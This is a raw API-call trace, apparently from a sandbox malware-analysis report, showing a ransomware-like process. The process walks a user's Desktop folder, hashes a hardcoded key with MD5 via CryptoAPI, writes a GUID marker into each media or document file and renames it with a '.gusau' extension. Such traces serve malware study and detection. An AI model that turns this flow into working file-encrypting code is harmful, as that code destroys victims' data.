RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa6) returned 0x39326e8 [0117.789] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\0JOcjFAlZN.flv") returned=".flv" [0117.789] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\0JOcjFAlZN.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\0jocjfalzn.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.789] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=85298) returned 1 [0117.790] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.792] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x14d0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.792] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.793] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.793] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x14d32, lpOverlapped=0x0) returned 1 [0117.794] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.794] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.794] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.794] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.794] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0117.795] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.795] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.795] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.795] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.795] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.795] GetLastError () returned 0x0 [0117.795] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.795] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0117.796] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x14d32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.796] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0117.796] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.796] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.796] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.796] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.796] CloseHandle (hObject=0x610) returned 1 [0117.797] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf08b0 [0117.797] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5430 [0117.797] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\0JOcjFAlZN.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\0jocjfalzn.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\0JOcjFAlZN.flv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\0jocjfalzn.flv.gusau")) returned 1 [0117.801] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x791b9670, ftCreationTime.dwHighDateTime=0x1d4c771, ftLastAccessTime.dwLowDateTime=0x295de1c0, ftLastAccessTime.dwHighDateTime=0x1d4c87e, ftLastWriteTime.dwLowDateTime=0x295de1c0, ftLastWriteTime.dwHighDateTime=0x1d4c87e, nFileSizeHigh=0x0, nFileSizeLow=0x5b5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7H07rLnEi4jFThR2aq.mp4", cAlternateFileName="7H07RL~1.MP4")) returned 1 [0117.801] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.801] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa6) returned 0x39326e8 [0117.801] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\7H07rLnEi4jFThR2aq.mp4") returned=".mp4" [0117.801] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\7H07rLnEi4jFThR2aq.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\7h07rlnei4jfthr2aq.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.803] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=1461) returned 1 [0117.803] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.805] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x58f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.805] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.806] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x5b5, lpOverlapped=0x0) returned 1 [0117.806] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.806] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.806] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.806] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0117.807] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.807] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.807] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.807] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.807] GetLastError () returned 0x0 [0117.807] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.807] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0117.807] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5b5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.807] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.807] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.808] CloseHandle (hObject=0x610) returned 1 [0117.808] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\7H07rLnEi4jFThR2aq.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\7h07rlnei4jfthr2aq.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\7H07rLnEi4jFThR2aq.mp4.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\7h07rlnei4jfthr2aq.mp4.gusau")) returned 1 [0117.809] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x124b7750, ftCreationTime.dwHighDateTime=0x1d4c661, ftLastAccessTime.dwLowDateTime=0x4d550d10, ftLastAccessTime.dwHighDateTime=0x1d4cc70, ftLastWriteTime.dwLowDateTime=0x4d550d10, ftLastWriteTime.dwHighDateTime=0x1d4cc70, nFileSizeHigh=0x0, nFileSizeLow=0x1628d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ceQR-g1K.flv", cAlternateFileName="")) returned 1 [0117.810] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\ceQR-g1K.flv") returned=".flv" [0117.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\ceQR-g1K.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\ceqr-g1k.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.810] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=90765) returned 1 [0117.810] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.813] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x16267, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.813] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.814] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x1628d, lpOverlapped=0x0) returned 1 [0117.815] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.815] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.815] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.815] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0117.816] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.816] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.816] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.816] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.816] GetLastError () returned 0x0 [0117.816] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.816] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0117.817] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1628d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.817] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.817] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.817] CloseHandle (hObject=0x610) returned 1 [0117.818] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\ceQR-g1K.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\ceqr-g1k.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\ceQR-g1K.flv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\ceqr-g1k.flv.gusau")) returned 1 [0117.820] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90e75b90, ftCreationTime.dwHighDateTime=0x1d4ca9b, ftLastAccessTime.dwLowDateTime=0xeddd8c30, ftLastAccessTime.dwHighDateTime=0x1d4d3c3, ftLastWriteTime.dwLowDateTime=0xeddd8c30, ftLastWriteTime.dwHighDateTime=0x1d4d3c3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fv3TELB 8E", cAlternateFileName="FV3TEL~1")) returned 1 [0117.820] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd227e0, ftCreationTime.dwHighDateTime=0x1d4cb18, ftLastAccessTime.dwLowDateTime=0x742d4c40, ftLastAccessTime.dwHighDateTime=0x1d4c833, ftLastWriteTime.dwLowDateTime=0x742d4c40, ftLastWriteTime.dwHighDateTime=0x1d4c833, nFileSizeHigh=0x0, nFileSizeLow=0x5615, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Gtis3rDzqOHJLSemRMN.odp", cAlternateFileName="GTIS3R~1.ODP")) returned 1 [0117.820] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Gtis3rDzqOHJLSemRMN.odp") returned=".odp" [0117.820] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Gtis3rDzqOHJLSemRMN.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\gtis3rdzqohjlsemrmn.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.820] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=22037) returned 1 [0117.820] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.822] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x55ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.822] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.824] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x5615, lpOverlapped=0x0) returned 1 [0117.824] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.824] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.824] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.824] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0117.825] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.825] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.825] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.825] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.825] GetLastError () returned 0x0 [0117.825] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.825] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0117.826] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5615, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.826] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.826] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.826] CloseHandle (hObject=0x610) returned 1 [0117.826] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Gtis3rDzqOHJLSemRMN.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\gtis3rdzqohjlsemrmn.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Gtis3rDzqOHJLSemRMN.odp.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\gtis3rdzqohjlsemrmn.odp.gusau")) returned 1 [0117.828] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x312b4670, ftCreationTime.dwHighDateTime=0x1d4d4f6, ftLastAccessTime.dwLowDateTime=0x302f7a60, ftLastAccessTime.dwHighDateTime=0x1d4c84a, ftLastWriteTime.dwLowDateTime=0x302f7a60, ftLastWriteTime.dwHighDateTime=0x1d4c84a, nFileSizeHigh=0x0, nFileSizeLow=0xf946, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hjjmc6wvdBzNble_jQ.m4a", cAlternateFileName="HJJMC6~1.M4A")) returned 1 [0117.828] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\hjjmc6wvdBzNble_jQ.m4a") returned=".m4a" [0117.828] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\hjjmc6wvdBzNble_jQ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\hjjmc6wvdbznble_jq.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.828] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=63814) returned 1 [0117.828] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.830] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xf920, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.830] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.832] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xf946, lpOverlapped=0x0) returned 1 [0117.833] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.833] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.833] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.833] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0117.834] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.834] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.834] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.834] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.834] GetLastError () returned 0x0 [0117.834] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.834] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0117.834] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xf946, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.834] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.834] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.834] CloseHandle (hObject=0x610) returned 1 [0117.835] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\hjjmc6wvdBzNble_jQ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\hjjmc6wvdbznble_jq.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\hjjmc6wvdBzNble_jQ.m4a.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\hjjmc6wvdbznble_jq.m4a.gusau")) returned 1 [0117.837] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43a46b0, ftCreationTime.dwHighDateTime=0x1d4d1b9, ftLastAccessTime.dwLowDateTime=0x6029f7d0, ftLastAccessTime.dwHighDateTime=0x1d4ca4e, ftLastWriteTime.dwLowDateTime=0x6029f7d0, ftLastWriteTime.dwHighDateTime=0x1d4ca4e, nFileSizeHigh=0x0, nFileSizeLow=0xa985, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IqxOJCjnMrxHR71kHDep.mp3", cAlternateFileName="IQXOJC~1.MP3")) returned 1 [0117.837] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\IqxOJCjnMrxHR71kHDep.mp3") returned=".mp3" [0117.837] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\IqxOJCjnMrxHR71kHDep.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\iqxojcjnmrxhr71khdep.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.839] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=43397) returned 1 [0117.839] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.841] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xa95f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.841] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.842] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xa985, lpOverlapped=0x0) returned 1 [0117.844] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.844] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.844] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.844] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0117.845] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.845] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.845] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 